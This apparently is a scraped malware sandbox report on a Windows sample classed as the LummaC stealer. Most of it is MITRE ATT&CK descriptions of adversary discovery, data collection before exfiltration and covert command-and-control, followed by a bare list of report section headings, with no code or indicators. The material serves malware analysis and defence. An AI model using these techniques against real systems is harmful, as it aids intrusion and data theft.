Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Heur.11787.148.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
SecuriteInfo.com.Heur.11787.148.exe